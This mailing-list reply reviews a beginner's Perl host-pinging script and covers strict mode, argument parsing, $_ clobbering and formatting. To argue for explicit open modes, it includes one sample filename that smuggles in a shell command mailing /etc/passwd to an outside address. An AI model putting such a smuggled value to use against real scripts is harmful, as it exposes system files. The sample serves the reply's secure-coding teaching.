Re: New to Perl: Need help with a script

• Previous message: Michal Wojciechowski: "Re: signal not being caught when re-exec()d"
• In reply to: Jim Moser: "New to Perl: Need help with a script"
• Next in thread: Jim Moser: "Re: New to Perl: Need help with a script"
• Reply: Jim Moser: "Re: New to Perl: Need help with a script"
• Reply: Brian McCauley: "Re: New to Perl: Need help with a script"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Date: Tue, 8 Jun 2004 15:14:23 -0400
To: Jim Moser <jamesmmoser@yahoo.com>

[posted & mailed]

On 8 Jun 2004, Jim Moser wrote:

>So far the script is functional; however, at each interval I'm calling
>system(clear) to clear the screen and update the list. This looks very
>sloppy to the end user and I would like the script to keep the IP and
>hostname on screen and only update the UP|DOWN field one at a time. If
>this is simple to do, could someone provide some sample code? If it's
>not quite so simple could someone point me in the right direction to
>get started. I am using O'Reilly Programming Perl 3rd Ed and O'Reilly
>Perl Cookbook as references.

If you want to be able to change the text at specific locations on your
terminal, I'd suggest the Curses module.

>#!/usr/bin/perl
>
>use Net::Ping;

You should always write your code with 'warnings' and 'strict' enabled.
It might take some getting used to (you'll need to declare your variables,
for one thing), but it will help you write cleaner code, and catch any
typos you make, etc.

># Process arguements
>while (@ARGV and $ARGV[0] =~ /^-/) {
> $_ = shift;
> last if /^--$/;
> if (/^-f(.*)/) { $hostfile = $1 }
> if (/^-i(.*)/) { $int = $1 }
> if (/^-\?|^-h/) { usage(); }
>}

This is fine, but you should also know that there are standard modules out
there to take care of command-line options for you. See Getopt::Std and
Getopt::Long for starters.

Also, and some others might think me hyper-sensitive for saying this, but
you should really local()ize $_ whenever you assign to it explicitly or
use it when reading from a filehandle, because you can end up clobbering
its value from somewhere else. Consider this example:

  my @data = ('a' .. 'e');
  for (@data) {
    # ...
    foo($_)
    # ...
  }
  print "@data"; # no output!

  sub foo {
    my $file = shift;
    open TXT, "< file/$file.txt" or die "can't read file/$file.txt: $!";
    while (<TXT>) {
      # ...
    }
    close TXT;
  }

@data ends up having 5 undef values in it, because the naked <TXT> syntax
inside a while loop assigns to $_, and $_ is aliased to each of the
elemenst of your for loop list in turn.
  
>sub usage() {

There is no need for the () on your function definition here.

>print "Usage: ping.pl options
>...
> ping.pl -f/etc/hosts -i30\n";
> exit;
>}

You might want to use a here-doc (perldoc perldata) instead, but it's
really just a preference. More drastically, though, you might consider
documenting your program using POD (perldoc perlpod), and then making your
usage() function:

  sub usage {
    exec perldoc => __FILE__
  }

That runs 'perldoc' on your file, and presents the documentation you've
written in your program.

># Set default values if no arguments were supplied
>unless (defined($hostfile)) { $hostfile = "/etc/hosts" }
>unless (defined($int)) { $int = "30" }
>
>open(HOSTFILE, $hostfile);

Always, *always*, ALWAYS check the return value of a system call, like an
open():

  open HOSTFILE, "< $hostfile" or die "can't read $hostfile: $!";

Also, if you want to be SURE that your file will only be opened for
reading, be explicit about it like I've shown above. If you just do

  open FILE, $file;

and you get $file's value from the user, what if they enter

  mail me@mywebsite.com < /etc/passwd |

as the filename? Thus, be explicit. (Also look into tainting incoming
data; read perldoc perlsec.)

># Create a hash of the hostfile; omitting comments, localhost, and
>blank lines
>LINE: while (<HOSTFILE>) {
> next LINE if /^#/;
> next LINE if /^127/;
> next LINE if /^\s/;

That just skips lines that start with any whitespace, not necessarily a
blank line.

> ($ip, $hostname) = split /\s/;
> @fields = split ' ', $hostname;
> $list{$ip} = [ @fields ];
>}

I would probably rewrite this like so:

  while (<HOSTFILE>) {
    s/#.*//; # remove any comments
    next if /^\s+$/; # skip if it's only whitespace
    next if /^127\./; # skip if it's the localhost

    my ($ip, @fields) = split;
    $list{$ip} = \@fields;
  }

You'll notice a couple things different here. First, I'm declaring my
variables with my(). This is because I'd be doing 'use strict', which
requires that I declare my variables' scope. Since I don't need $ip or
@fields to exist outside that while loop, I declare them with my() here.

Also see that instead of doing [ @fields ], I did \@fields. You can't do
this with your code, because your @fields is a global variable, not a
lexical one. If you did \@fields, you'd end up with each hash value
pointing to the same array reference. With my code, because @fields is
lexical and I've taken a reference to it, it doesn't die at the end of the
block, and it lives on (as a reference).

Finally, I've used split() with no arguments. This means the same as
split(' ', $_).

># Ping each host once and label UP or DOWN
>sub getstatus {
> $p = Net::Ping->new("icmp");

Is it *really* necessary to make a new Net::Ping object *every* time you
want to ping the hosts? I don't think it is (but I haven't tested it, so
I could be wrong).

> foreach $server ( keys %list ) {
> if ($p->ping($server, 1)) {
> $status = "UP";
> }else{
> $status = "DOWN";
> }
> write STDOUT;
> }
>}
>
># Make it pretty
>format STDOUT =
>@<<<<<<<<<<<<<<<< @<<<<<<<<<<<<<<<< @<<<<
>@{ $list{$server} }, $server, $status
>}

Formats are kinda passe (in my opinion). I'd use printf(), probably.

>while (1) {
> system(clear);

You should quote that word.

  system "clear";

> getstatus();
> sleep($int);
>}

That's all I have to say at first glance.

-- 
Jeff Pinyan         RPI Acacia Brother #734        RPI Acacia Corp Secretary
"And I vos head of Gestapo for ten     | Michael Palin (as Heinrich Bimmler)
 years.  Ah!  Five years!  Nein!  No!  | in: The North Minehead Bye-Election
 Oh.  Was NOT head of Gestapo AT ALL!" | (Monty Python's Flying Circus)

• Previous message: Michal Wojciechowski: "Re: signal not being caught when re-exec()d"
• In reply to: Jim Moser: "New to Perl: Need help with a script"
• Next in thread: Jim Moser: "Re: New to Perl: Need help with a script"
• Reply: Jim Moser: "Re: New to Perl: Need help with a script"
• Reply: Brian McCauley: "Re: New to Perl: Need help with a script"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]